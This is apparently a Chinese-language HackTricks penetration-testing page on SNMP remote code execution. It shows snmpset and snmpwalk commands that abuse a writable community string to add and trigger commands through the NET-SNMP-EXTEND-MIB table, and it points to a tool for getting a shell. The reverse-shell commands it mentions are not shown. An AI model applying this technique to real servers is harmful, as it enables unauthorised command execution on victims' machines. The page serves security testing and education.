SNMP RCE

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)arrow-up-righthashtag

支持HackTricks的其他方式:

SNMP RCE

如果管理员忽视设备或服务器上SNMP的默认配置,攻击者可以利用SNMP。通过在Linux操作系统上滥用具有写权限(rwcommunity)的SNMP community,攻击者可以在服务器上执行命令。

使用附加命令扩展服务

要扩展SNMP服务并添加额外命令,可以向**"nsExtendObjects"表中添加新行**。可以使用snmpset命令并提供必要的参数,包括可执行文件的绝对路径和要执行的命令来实现这一点:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

注入命令以执行

在 SNMP 服务上注入要运行的命令需要被调用的二进制文件/脚本的存在和可执行性。NET-SNMP-EXTEND-MIB 要求提供可执行文件的绝对路径。

为了确认注入命令的执行,可以使用 snmpwalk 命令枚举 SNMP 服务。输出将显示命令及其相关细节,包括绝对路径:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

运行注入的命令

读取注入的命令时,它会被执行。这种行为被称为**run-on-read()**。命令的执行可以在 snmpwalk 读取过程中观察到。

使用 SNMP 获取服务器 Shell

要控制服务器并获得服务器 Shell,可以使用 mxrch 开发的 Python 脚本,从 https://github.com/mxrch/snmp-shell.gitarrow-up-right 下载。

或者,可以通过将特定命令注入到 SNMP 中手动创建反向 Shell。这个命令由 snmpwalk 触发,建立一个反向 Shell 连接到攻击者的机器,从而控制受害者的机器。 您可以安装运行此命令所需的先决条件:

或者一个反向 shell:

参考资料

chevron-right从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)arrow-up-right!hashtag

支持HackTricks的其他方式:

最后更新于